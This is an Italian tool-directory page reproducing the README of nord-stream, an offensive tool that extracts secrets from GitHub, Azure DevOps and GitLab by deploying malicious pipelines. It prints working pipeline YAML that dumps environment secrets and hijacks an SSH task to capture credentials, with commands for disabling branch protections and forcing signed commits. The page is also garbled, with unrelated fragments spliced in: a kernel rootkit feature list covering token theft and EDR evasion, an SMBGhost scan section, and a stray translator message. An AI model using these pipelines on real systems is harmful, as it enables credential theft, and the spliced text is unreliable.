Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
nord-stream — Nord Stream è uno strumento che consente di estrarre i segreti memorizzati all'interno degli ambienti CI/CD distribuendo pipeline dannose. Attualmente supporta Azure DevOps, GitHub e GitLab. | Kitploit
Strumenti/GitHubGitHub/synacktiv/nord-stream
ExploitStrumenti di ImpersonificazioneEsfiltrazione DatiRaccolta InformazioniPenetration TestingDevSecOpsRilevamento SegretiRed Teaming
GitHubsynacktiv/nord-stream

nord-stream

Nord Stream è uno strumento che consente di estrarre i segreti memorizzati all'interno degli ambienti CI/CD distribuendo pipeline dannose. Attualmente supporta Azure DevOps, GitHub e GitLab.

Vedi Repository
37022472 mesi faRevisionato da Kitploit
Sito web

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Nord Stream

Nord Stream è uno strumento che consente di estrarre i segreti memorizzati all'interno degli ambienti CI/CD distribuendo pipeline maliziose.

Attualmente supporta Azure DevOps, GitHub e GitLab.

Scopri di più nel seguente post del blog: https://www.synacktiv.com/publications/cicd-secrets-extraction-tips-and-tricks

Indice

  • Nord Stream
    • Indice
    • Installazione
    • Utilizzo
      • Argomenti condivisi
        • Descrivi token
        • Build YAML
        • YAML
        • Pulisci i log
        • Firma dei commit
      • Azure DevOps
        • Connessioni di servizio
          • SSH
        • Elencare le org
        • Aiuto
      • GitHub
        • Elenca le protezioni
        • Disabilita le protezioni
        • Forza
        • Azure OIDC
        • AWS OIDC
        • Aiuto
      • GitLab
        • Elenca i segreti
        • YAML
Output directory for logs
  • Elenca le protezioni
  • Aiuto
  • TODO
  • Contatti
  • Installazione```

    $ pipx install git+https://github.com/synacktiv/nord-stream

    root@kitploit:~
    `git` è inoltre richiesto (vedi https://git-scm.com/download/) e deve essere presente nel tuo `PATH`.
    
    ## Utilizzo
    
    Ecco un semplice esempio su GitHub; inizialmente, è possibile enumerare i vari segreti.```sh
    $ nord-stream github --token "$GHP" --org org --list-secrets --repo repo
    [*] Listing secrets:
    [*] "org/repo" secrets
    [*] Repo secrets:
            - REPO_SECRET
            - SUPER_SECRET
    [*] PROD secrets:
            - PROD_SECRET
    

    Quindi procedere all'esfiltrazione:```sh $ nord-stream github --token "$GHP" --org org --repo repo
    [+] "org/repo" [] No branch protection rule found on "dev_remote_ea5Eu/test/v1" branch [] Getting secrets from repo: "org/repo" [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Secrets: secret_SUPER_SECRET=value for super secret secret_REPO_SECRET=repository secret

    [] Getting secrets from environment: "PROD" (org/repo) [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Secrets: secret_PROD_SECRET=Value only accessible from prod environment

    [] Cleaning logs. [] Check output: /home/hugov/Documents/pentest/RD/CICD/tools/nord-stream/nord-stream/nord-stream-logs/github

    root@kitploit:~
    ### Argomenti condivisi
    
    Alcuni argomenti sono condivisi tra [GitHub](#github), [Azure DevOps](#azure-devops) e [GitLab](#gitlab); ecco alcuni esempi.
    
    #### Descrivi il token
    
    L'opzione `--describe-token` può essere utilizzata per visualizzare informazioni generali sul tuo token:```bash
    $ nord-stream github --token "$PAT" --describe-token
    [*] Token information:
            - Login: CICD
            - IsAdmin: False
            - Id: 1337
            - Bio: None
    
    

    Genera YAML

    L'opzione --build-yaml può essere utilizzata per creare un file di pipeline senza distribuirlo. Recupera i vari nomi dei segreti per costruire la pipeline associata, che può essere utilizzata per aggiungere passaggi personalizzati:```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --env PROD --build-yaml custom.yml [+] YAML file: name: GitHub Actions 'on': push jobs: init: runs-on: ubuntu-latest steps: - run: env -0 | awk -v RS='\0' '/^secret_/ {print $0}' | base64 -w0 | base64 -w0 name: command env: secret_PROD_SECRET: ${{secrets.PROD_SECRET}} environment: PROD

    root@kitploit:~
    #### YAML
    
    L'opzione `--yaml` può essere utilizzata per distribuire una pipeline personalizzata:```yml
    name: GitHub Actions
    'on': push
    jobs:
      init:
        runs-on: ubuntu-latest
        steps:
        - run: echo "Hello from step 1"
          name: step 1
        - run: echo "Doing some important stuff here"
          name: command
        - run: echo "Hello from last step "
          name: last step
    
    • La funzionalità principale è ora ParseKProcess che analizza i processi kernel e opzionalmente li filtra per nome e intervalli di indirizzi. Questa funzionalità è accessibile dalla modalità processo kernel process.
    • Enumerazione di moduli kernel e driver: Lo strumento percorre la PsLoadedModuleList per visualizzare tutti i moduli kernel e i driver caricati. Si può accedere a questa modalità con modules.
    • Enumerazione delle syscall nello spazio kernel per elencare tutte le chiamate di sistema con i loro indirizzi (syscall). Opzione per mostrare solo le syscall SSDT e nascondere quelle Win32k.
    • Furto di token: Fornisce una funzionalità StealToken per rubare il token da qualsiasi processo e assegnarlo al processo corrente, inclusi i processi di sistema.
    • Ripristino dei callback degli oggetti kernel e rimozione di PsCallback: RestoreKernelCallback attualmente ripristina ObpCallProcess, ObpCallThread e ObpCallProcessNotifyRoutineArray (con 10 punti di ripristino). Rimuove anche PsCallback per eludere il rilevamento EDR. Questa modalità è accessibile con callback.
    • Ripristino della protezione su un processo per rimuovere la protezione del processo (unprotect).
    • Occultamento ed elevazione dei processi tramite manipolazione diretta degli oggetti kernel (DKOM) per scollegare un processo dalla lista ActiveProcessLinks e modificare il token dell'eprocess per elevare l'integrità a SYSTEM. Questa modalità è hide.
    • Occultamento dei driver mini filter tramite DKOM: scollega i Mini filter dalla FilterList e dalla AltitudesList del frame per eludere il rilevamento EDR tramite callback kernel (minifilter).```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --yaml custom.yml [+] "synacktiv/repo" [] No branch protection rule found on "dev_remote_ea5Eu/test/v1"branch [] Running custom workflow: .../custom.yml [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Workflow output: 2023-07-18T20:08:33.0073670Z ##[group]Run echo "Doing some important stuff here" 2023-07-18T20:08:33.0074247Z echo "Doing some important stuff here" 2023-07-18T20:08:33.0136846Z shell: /usr/bin/bash -e {0} 2023-07-18T20:08:33.0137261Z ##[endgroup] 2023-07-18T20:08:33.0422019Z Doing some important stuff here

    [] Cleaning logs. [] Check output: .../nord-stream-logs/github

    root@kitploit:~
    Per impostazione predefinita, mostrerà l'output del task denominato `command` del job `init`, ma tutto viene archiviato localmente e può essere consultato manualmente:```bash
    $ cat nord-stream-logs/github/synacktiv/repo/workflow_custom_2023-07-18_22-08-44/init/4_last\ step.txt
    2023-07-18T20:08:33.0458509Z ##[group]Run echo "Hello from last step "
    2023-07-18T20:08:33.0459084Z echo "Hello from last step "
    2023-07-18T20:08:33.0511473Z shell: /usr/bin/bash -e {0}
    2023-07-18T20:08:33.0511890Z ##[endgroup]
    2023-07-18T20:08:33.0597853Z Hello from last step
    

    Pulizia dei log

    Per impostazione predefinita, Nord Stream tenterà di rimuovere le tracce lasciate dopo la distribuzione di una pipeline, a seconda dei tuoi privilegi. Per preservare le tracce, è possibile utilizzare l'opzione --no-clean. Questo manterrà i log della pipeline, ma ripristinerà comunque le modifiche apportate al repository. Nota che per GitLab, alcune tracce non possono essere eliminate.

    Firma dei commit

    Gli amministratori del repository possono imporre la firma obbligatoria dei commit su un ramo per bloccare tutti i commit che non sono firmati e verificati. Con Nord Stream è possibile firmare i commit per aggirare tale protezione.

    Per prima cosa crea e importa la tua chiave GPG sulla piattaforma SCM.```sh $ gpg --full-generate-key $ gpg --armor --export F94496913C43EFC5 $ gpg --list-secret-keys --keyid-format=long sec dsa2048/F94496913C43EFC5 2023-07-18 [SC] [expires: 2023-07-23] Key fingerprint = B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5 uid [ultimate] test-gpg [email protected]

    root@kitploit:~
    ### SMB
    
    [CVE-2020-0796](https://github.com/ZecOps/CVE-2020-0796-LPE-POC) Rileva la vulnerabilità in SMBv3.1.1: questa vulnerabilità è SMBGhost, ha causato un overflow del buffer quando la compressione SMB è stata disabilitata da un utente malintenzionato. L'utente malintenzionato può causare l'esecuzione di codice in modalità remota. Per rilevare la vulnerabilità, è sufficiente eseguire:
    
    ```bash
    cd /usr/share/nmap/scripts/
    git clone https://github.com/ZecOps/CVE-2020-0796-LPE-POC.git
    cd CVE-2020-0796-LPE-POC
    nmap -sV --script CVE-2020-0796-LPE-POC -p 445 <host>
    

    CVE-2020-1206 Rileva la vulnerabilità: la vulnerabilità è nella compressione SMB. Può consentire l'esecuzione di codice in modalità remota. Per rilevare la vulnerabilità, è sufficiente eseguire:

    CVE-2020-1301 Rileva la vulnerabilità: la vulnerabilità è nella compressione SMB. Può consentire l'esecuzione di codice in modalità remota. Per rilevare la vulnerabilità, è sufficiente eseguire:```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --key-id F94496913C43EFC5 --user test-gpg --email [email protected] --force [] Using branch: "main" [+] "synacktiv/repo" [] Getting secrets from environment: "prod" (synacktiv/repo) [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Secrets: secret_PROD_SECRET=my PROD_SECRET

    root@kitploit:~
    I'm ready to translate the chunk, but the input content appears to be empty—no Markdown text was actually provided after "INPUT:". Please resend the chunk content so I can produce the Italian translation.```bash
    $ git verify-commit 00dcd856624bc9a41f8bd70662f0650839730973
    gpg: Signature made Tue 18 Jul 2023 10:34:18 PM CEST
    gpg:                using DSA key B1583F439899C5A3B74ED04BF94496913C43EFC5
    gpg: Good signature from "test-gpg <[email protected]>" [ultimate]
    Primary key fingerprint: B158 3F43 9899 C5A3 B74E  D04B F944 9691 3C43 EFC5
    

    Azure DevOps

    Nord Stream può estrarre i seguenti tipi di segreti:

    • Gruppi di variabili (vg)
    • File protetti (sf)
    • Connessioni di servizio

    Connessioni di servizio

    Azure DevOps offre la possibilità di creare connessioni con servizi esterni e remoti per eseguire attività in un processo. Per fare ciò, vengono utilizzate le connessioni di servizio. Una connessione di servizio contiene le credenziali di un'identità per un servizio remoto. Esistono diversi tipi di connessioni di servizio in Azure DevOps.

    Nord Stream attualmente supporta l'estrazione di segreti per i seguenti tipi di connessione di servizio:

    • AzureRM
    • GitHub
    • AWS
    • SonarQube
    • SSH

    Se incontri un tipo non supportato, apri un problema o invia una pull request :)

    SSH

    L'estrazione per questo tipo di connessione di servizio è stata dolorosa da implementare. L'output è il seguente:``` hostname:::port:::user:::password:::privatekey

    root@kitploit:~
    Se vuoi eseguirlo su un runner self-hosted puoi fare quanto segue:```
    $ nord-stream devops ... --build-yaml test.yml --build-type ssh  
    [+] YAML file:
    trigger: none
    pool:
      vmImage: ubuntu-latest
    steps:
    - checkout: none
    - script: SSH_FILE=$(find /home/vsts/work/_tasks/ -name ssh.js) ; cp $SSH_FILE $SSH_FILE.bak
        ; sed -i 's|const readyTimeout = getReadyTimeoutVariable();|const readyTimeout
        = getReadyTimeoutVariable();\nconst fs = require("fs");var data = "";data += hostname
        + ":::" + port + ":::" + username + ":::" + password + ":::" + privateKey;fs.writeFile("/tmp/artefacts.tar.gz",
        data, (err) => {});|' $SSH_FILE
      displayName: Preparing Build artefacts
    - task: SSH@0
      inputs:
        sshEndpoint: '#FIXME'
        runOptions: commands
        commands: sleep 1
    - script: SSH_FILE=$(find /home/vsts/work/_tasks/ -name ssh.js); mv $SSH_FILE.bak
        $SSH_FILE ; cat /tmp/artefacts.tar.gz | base64 -w0 | base64 -w0 ; echo ''
      displayName: Build artefacts
    
    

    Poi devi:

    1. cambiare vmImage: ubuntu-latest in name: 'Nome del pool self-hosted'
    2. Aggiungere il nome della service connection nel segnaposto #FIXME.
    3. distribuire la pipeline con: --yaml test.yml

    Se devi eseguire questa operazione su un runner self-hosted Windows, nel metodo generatePipelineForSSH sostituisci _serviceConnectionTemplateSSH con _serviceConnectionTemplateSSHWindows ed esegui le azioni descritte in precedenza.

    Nota: sia per i runner self-hosted Windows che Linux, devi adattare il percorso (/home/vsts/work/_tasks/ o D:\a\) in modo che corrisponda al percorso in cui è distribuito il runner. Questa informazione può essere ottenuta nella scheda Capabilities di un agente su Azure DevOps.

    Elenco delle organizzazioni

    Con un token di accesso è possibile elencare le organizzazioni associate a un utente:``` $ nord-stream devops --token "eyJ0eXA..." --list-orgs [*] User orgs: - myorg - supersecretorg

    root@kitploit:~
    Questo si basa su [questa ricerca](https://zolder.io/en/blog/devops-access-is-closer-than-you-assume/).
    
    #### Aiuto```
    $ nord-stream devops -h
    CICD pipeline exploitation tool
    
    Usage:
        nord-stream devops [options] --token <pat> --org <org> [extraction] [--project <project> --write-filter --no-clean --branch-name <name> --pipeline-name <name> --repo-name <name>]
        nord-stream devops [options] --token <pat> --org <org> --yaml <yaml> --project <project> [--write-filter --no-clean --branch-name <name> --pipeline-name <name> --repo-name <name>]
        nord-stream devops [options] --token <pat> --org <org> --build-yaml <output> [--build-type <type>]
        nord-stream devops [options] --token <pat> --org <org> --clean-logs [--project <project>]
        nord-stream devops [options] --token <pat> --org <org> --list-projects [--write-filter]
        nord-stream devops [options] --token <pat> --org <org> (--list-secrets [--project <project> --write-filter] | --list-users)
        nord-stream devops [options] --token <pat> --org <org> --describe-token
    
    Options:
        -h --help                               Show this screen.
        --version                               Show version.
        -v, --verbose                           Verbose mode
        -d, --debug                             Debug mode
        --output-dir <dir>                      Output directory for logs
        --ignore-cert                           Allow insecure server connections
    
    Commit:
        --user <user>                           User used to commit
        --email <email>                         Email address used commit
        --key-id <id>                           GPG primary key ID to sign commits
    
    args:
        --token <pat>                           Azure DevOps personal token or JWT
        --org <org>                             Org name
        -p, --project <project>                 Run on selected project (can be a file)
        -y, --yaml <yaml>                       Run arbitrary job
        --clean-logs                            Delete all pipeline created by this tool. This operation is done by default but can be manually triggered.
        --no-clean                              Don't clean pipeline logs (default false)
        --list-projects                         List all projects.
        --list-secrets                          List all secrets.
        --list-users                            List all users.
        --write-filter                          Filter projects where current user has write or admin access.
        --build-yaml <output>                   Create a pipeline yaml file with default configuration.
        --build-type <type>                     Type used to generate the yaml file can be: default, azurerm, github, aws, sonar, ssh
        --describe-token                        Display information on the token
        --branch-name <name>                    Use specific branch name for deployment.
        --pipeline-name <name>                  Use pipeline for deployment.
        --repo-name <name>                      Use specific repo for deployment.
    
    Exctraction:
        --extract <list>                        Extract following secrets [vg,sf,gh,az,aws,sonar,ssh]
        --no-extract <list>                     Don't extract following secrets [vg,sf,gh,az,aws,sonar,ssh]
    
    Examples:
        List all secrets from all projects
        $ nord-stream devops --token "$PAT" --org myorg --list-secrets
    
        Dump all secrets from all projects
        $ nord-stream devops --token "$PAT" --org myorg
    
    Authors: @hugow @0hexit
    

    GitHub

    Elenco delle protezioni

    L'opzione --list-protections può essere utilizzata per elencare le protezioni applicate a un ramo e agli ambienti:```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --list-protections [] Using branch: "main" [] Checking security: "synacktiv/repo" [] Found branch protection rule on "main" branch [] Branch protections: - enforce admins: True - block creations: True - required signatures: True - allow force pushes: False - allow deletions: False - required pull request reviews: False - required linear history: False - required conversation resolution: False - lock branch: False - allow fork syncing: False [] Environment protection for: "DEV": - deployment branch policy: custom [] No environment protection rule found for: "INT" [*] Environment protection for: "PROD": - deployment branch policy: custom

    root@kitploit:~
    A seconda dei tuoi permessi, puoi avere meno informazioni, solo gli amministratori possono avere i dettagli completi delle protezioni.
    
    #### Disattivare le protezioni
    
    L'opzione `--disable-protections` può essere utilizzata per disabilitare temporaneamente le protezioni applicate a un ramo o a un ambiente, eseguire il dump e ripristinare tutte le protezioni:```bash
    $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --no-repo --no-org --env prod --disable-protections
    [*] Using branch: "main"
    [+] "synacktiv/repo"
    [*] Found branch protection rule on "main" branch
    [...]
    [!] Removing branch protection, wait until it's restored.
    [*] Getting secrets from environment: "prod" (synacktiv/repo)
    [*] Environment protection for: "PROD":
            - deployment branch policy: custom
    [!] Modifying env protection, wait until it's restored.
    [*] Getting workflow output
    [!] Workflow not finished, sleeping for 15s
    [+] Workflow has successfully terminated.
    [!] Restoring env protections.
    [+] Secrets:
    secret_PROD_SECRET=my PROD_SECRET
    
    [*] Cleaning logs.
    [!] Restoring branch protection.
    

    Questo richiede privilegi di amministratore.

    Force

    Per impostazione predefinita, se Nord Stream rileva una protezione su un ramo o su un ambiente, non esegue l'estrazione dei segreti. Se ritieni che le protezioni siano troppo permissive o possano essere aggirate con i tuoi privilegi, l'opzione --force può essere utilizzata per distribuire la pipeline indipendentemente dalle protezioni.

    Azure OIDC

    OIDC (OpenID Connect) può essere utilizzato per connettersi ai servizi cloud. L'idea generale è consentire a pipeline o workflow autorizzati di ottenere token di accesso di breve durata direttamente da un provider cloud, senza coinvolgere segreti statici. L'autorizzazione si basa su relazioni di trust configurate dal lato del provider cloud e condizionate dall'origine della pipeline o del workflow.

    Ecco un esempio di workflow GitHub che utilizza OIDC:```yaml [...] steps: - name: OIDC Login to Azure Public Cloud uses: azure/login@v1 with: client-id: ${{ secrets.AZURE_CLIENT_ID }} tenant-id: ${{ secrets.AZURE_TENANT_ID }} subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} # this can be optional

    root@kitploit:~
    Se ti imbatti in un flusso di lavoro di questo tipo, significa che il repository potrebbe essere configurato per ottenere un token di accesso di breve durata che può darti accesso alle risorse di Azure.
    
    Nord Stream è in grado di distribuire una pipeline per recuperare tale token di accesso con le seguenti opzioni:```bash
    $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --azure-client-id 65cd6002-25b9-11ee-88ac-7f80b19430c2 --azure-tenant-id 65cd6002-25b9-11ee-88ac-7f80b19430c2
    [*] Using branch: "main"
    [+] "synacktiv/repo"
    [*] No branch protection rule found on "main" branch
    [*] Running OIDC Azure access tokens generation workflow
    [*] Getting workflow output
    [!] Workflow not finished, sleeping for 15s
    [+] Workflow has successfully terminated.
    [+] OIDC access tokens:
    Access token to use with Azure Resource Manager API:
    {
      "accessToken":
    "eyJ0eXAiOiJK[...]PVig",
      "expiresOn": "2023-07-18 23:18:57.000000",
      "subscription": "65cd6002-25b9-11ee-88ac-7f80b19430c2",
      "tenant": "65cd6002-25b9-11ee-88ac-7f80b19430c2",
      "tokenType": "Bearer"
    }
    
    Access token to use with MS Graph API:
    {
      "accessToken":
    "eyJ0eXAi[...]_qTA",
      "expiresOn": "2023-07-19 22:18:59.000000",
      "subscription": "65cd6002-25b9-11ee-88ac-7f80b19430c2",
      "tenant": "65cd6002-25b9-11ee-88ac-7f80b19430c2",
      "tokenType": "Bearer"
    }
    

    The --azure-subscription-id è opzionale e può essere utilizzato per ottenere un token di accesso per una sottoscrizione specifica.

    AWS OIDC

    La stessa tecnica (vedi Azure OIDC) può essere utilizzata per ottenere un token di sessione su AWS.

    Ecco un esempio di workflow che utilizza AWS OIDC:```yaml [...] steps: - name: Configure AWS Credentials uses: aws-actions/configure-aws-credentials@v1 with: role-to-assume: arn:aws:iam::133333333337:role/S3Access/CustomRole role-session-name: oidcrolesession aws-region: us-east-1

    root@kitploit:~
    Se ti imbatti in un workflow di questo tipo, significa che il repository potrebbe essere configurato per ottenere un token di accesso AWS che può darti accesso alle risorse AWS.
    
    Nord Stream è in grado di distribuire una pipeline per recuperare tale token di accesso con le seguenti opzioni:```bash
    $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --aws-role 'arn:aws:iam::133333333337:role/S3Access/CustomRole' --aws-region us-east-1 --force
    [+] "Synacktiv/repo"
    [*] Running OIDC AWS credentials generation workflow
    [*] Getting workflow output
    [!] Workflow not finished, sleeping for 15s
    [+] Workflow has successfully terminated.
    [+] OIDC credentials:
    AWS_DEFAULT_REGION=us-east-1
    AWS_SESSION_TOKEN=IQoJb3[...]KMs0/QB6
    AWS_REGION=us-east-1
    AWS_ACCESS_KEY_ID=ASIA5ABC8XDMAP2ANNWO
    AWS_SECRET_ACCESS_KEY=7KJLCjdJKqlpLKDAI9F7SH6SjSQBX68Sjm13xXDA
    

    Aiuto```

    $ nord-stream github -h CICD pipeline exploitation tool

    Usage: nord-stream github [options] --token --org [--repo --no-repo --no-env --no-org --env --disable-protections --branch-name --no-clean (--key-id --user --email )] nord-stream github [options] --token --org --yaml --repo [--env --disable-protections --branch-name --no-clean (--key-id --user --email )] nord-stream github [options] --token --org ([--clean-logs] [--clean-branch-policy]) [--repo --branch-name ] nord-stream github [options] --token --org --build-yaml --repo [--env ] nord-stream github [options] --token --org --azure-tenant-id --azure-client-id [--azure-subscription-id --repo --env --disable-protections --branch-name --no-clean] nord-stream github [options] --token --org --aws-role --aws-region [--repo --env --disable-protections --branch-name --no-clean] nord-stream github [options] --token --org --list-protections [--repo --branch-name --disable-protections (--key-id --user --email )] nord-stream github [options] --token --org --list-secrets [--repo --no-repo --no-env --no-org] nord-stream github [options] --token [--org ] --list-repos [--write-filter] nord-stream github [options] --token --describe-token

    Options: -h --help Show this screen. --version Show version. -v, --verbose Verbose mode -d, --debug Debug mode --output-dir

    Signing: --key-id GPG primary key ID --user User used to sign commits --email Email address used to sign commits

    args --token Github personal token --org Org name -r, --repo Run on selected repo (can be a file) -y, --yaml Run arbitrary job --clean-logs Delete all logs created by this tool. This operation is done by default but can be manually triggered. --no-clean Don't clean workflow logs (default false) --clean-branch-policy Remove branch policy, can be used with --repo. This operation is done by default but can be manually triggered. --build-yaml Create a pipeline yaml file with all secrets. --env Specify env for the yaml file creation. --no-repo Don't extract repo secrets. --no-env Don't extract environnments secrets. --no-org Don't extract organization secrets. --azure-tenant-id Identifier of the Azure tenant associated with the application having federated credentials (OIDC related). --azure-subscription-id Identifier of the Azure subscription associated with the application having federated credentials (OIDC related). --azure-client-id Identifier of the Azure application (client) associated with the application having federated credentials (OIDC related). --aws-role AWS role to assume (OIDC related). --aws-region AWS region (OIDC related). --list-protections List all protections. --list-repos List all repos. --list-secrets List all secrets. --disable-protections Disable the branch protection rules (needs admin rights) --write-filter Filter repo where current user has write or admin access. --force Don't check environment and branch protections. --branch-name Use specific branch name for deployment. --describe-token Display information on the token

    Examples: List all secrets from all repositories $ nord-stream github --token "$GHP" --org myorg --list-secrets

    root@kitploit:~
    Dump all secrets from all repositories and try to disable branch protections
    $ nord-stream github --token "$GHP" --org myorg --disable-protections
    

    Authors: @hugow @0hexit

    root@kitploit:~
    ### GitLab
    
    Come descritto nell'articolo, non è possibile rimuovere i log nella scheda attività dopo il deploy di una pipeline. Questo deve essere tenuto in considerazione durante le attività di Red Team.
    
    #### Elenca i segreti
    
    L'opzione `--list-secrets` può essere utilizzata per elencare ed estrarre segreti da GitLab.
    
    Il modo in cui GitLab gestisce i segreti è un po' diverso da Azure DevOps e GitHub action. Con accesso admin a un progetto, un gruppo o anche accesso admin sull'istanza GitLab, è possibile estrarre tutte le variabili CI/CD definite senza distribuire alcuna pipeline.
    
    Da un utente con privilegi bassi, tuttavia, non è possibile elencare i segreti definiti a livello di progetto, gruppo o istanza. Tuttavia, se gli utenti hanno privilegi di scrittura su un progetto, saranno in grado di distribuire una pipeline dannosa per esfiltrare le variabili d'ambiente esponendo le variabili CI/CD. Ciò significa che un utente con privilegi bassi non ha modo di sapere se un segreto è definito in un progetto specifico. L'unico modo è guardare le pipeline legittime già presenti in un progetto e verificare se una pipeline utilizza variabili d'ambiente sensibili.
    
    Ecco un file di pipeline per eseguire questa operazione su GitLab:```yaml
    stages:
      - synacktiv
    
    deploy-production:
      image: ubuntu:latest
      stage: synacktiv
      script:
        - env | base64 -w0 | base64 -w 0
    

    GitLab supporta anche file sicuri come Azure DevOps. I file sicuri sono definiti a livello di progetto. Come per le variabili, non è possibile elencare i file sicuri senza accesso amministrativo al progetto. Tuttavia, con accesso amministrativo, nord-stream tenterà di esfiltrare i file sicuri relativi ai progetti.

    YAML

    Come per YAML, tuttavia devi fornire il percorso completo del progetto in questo modo:```sh $ nord-stream gitlab --token "$PAT" --url https://gitlab.corp.local --project 'group/projectname' --yaml ci.yml

    root@kitploit:~
    L'output del comando `--list-projects` restituisce tale percorso.
    
    #### Elenco protezioni
    
    Come per [Elenco protezioni di GitHub](#list-protections)
    
    #### Aiuto```
    $ nord-stream gitlab -h
    CICD pipeline exploitation tool
    
    Usage:
        nord-stream gitlab [options] --token <pat> (--list-secrets | --list-protections) [--project <project> --group <group> --no-project --no-group --no-instance --write-filter]
        nord-stream gitlab [options] --token <pat> ( --list-groups | --list-projects ) [--project <project> --group <group> --write-filter]
        nord-stream gitlab [options] --token <pat> --yaml <yaml> --project <project> [--no-clean]
        nord-stream gitlab [options] --token <pat> --clean-logs [--project <project>]
        nord-stream gitlab [options] --token <pat> --describe-token
    
    Options:
        -h --help                               Show this screen.
        --version                               Show version.
        -v, --verbose                           Verbose mode
        -d, --debug                             Debug mode
        --output-dir <dir>                      Output directory for logs
        --url <gitlab_url>                      Gitlab URL [default: https://gitlab.com]
        --ignore-cert                           Allow insecure server connections
    
    Commit:
        --user <user>                           User used to commit
        --email <email>                         Email address used commit
        --key-id <id>                           GPG primary key ID to sign commits
    
    args:
        --token <pat>                           GitLab personal access token or _gitlab_session cookie
        --project <project>                     Run on selected project (can be a file)
        --group <group>                         Run on selected group (can be a file)
        --list-secrets                          List all secrets.
        --list-protections                      List branch protection rules.
        --list-projects                         List all projects.
        --list-groups                           List all groups.
        --write-filter                          Filter repo where current user has developer access or more.
        --no-project                            Don't extract project secrets.
        --no-group                              Don't extract group secrets.
        --no-instance                           Don't extract instance secrets.
        -y, --yaml <yaml>                       Run arbitrary job
        --branch-name <name>                    Use specific branch name for deployment.
        --clean-logs                            Delete all pipeline logs created by this tool. This operation is done by default but can be manually triggered.
        --no-clean                              Don't clean pipeline logs (default false)
        --describe-token                        Display information on the token
    
    Examples:
        Dump all secrets
        $ nord-stream gitlab --token "$TOKEN" --url https://gitlab.local --list-secrets
    
        Deploy the custom pipeline on the master branch
        $ nord-stream gitlab --token "$TOKEN" --url https://gitlab.local --yaml exploit.yaml --branch master --project 'group/projectname'
    
    Authors: @hugow @0hexit
    

    TODO

    • Aggiungere il supporto di URL corrispondenti a istanze di Azure DevOps Server (soluzioni on-premises)
    • Aggiungere un'opzione per estrarre i segreti tramite host Windows
    • Aggiungere il supporto di altri ambienti CI/CD (Jenkins/Bitbucket)
    • Utilizzare l'API GraphQL di GitHub invece di quella REST per elencare le regole di protezione dei branch e disabilitarle temporaneamente se corrispondono al branch malevolo che sta per essere inviato

    Contatti

    Inviate eventuali bug, problemi, domande o richieste di funzionalità nella sezione "Issues" oppure contattateci su Twitter @hugow e @0hexit.

    Scarica lo strumento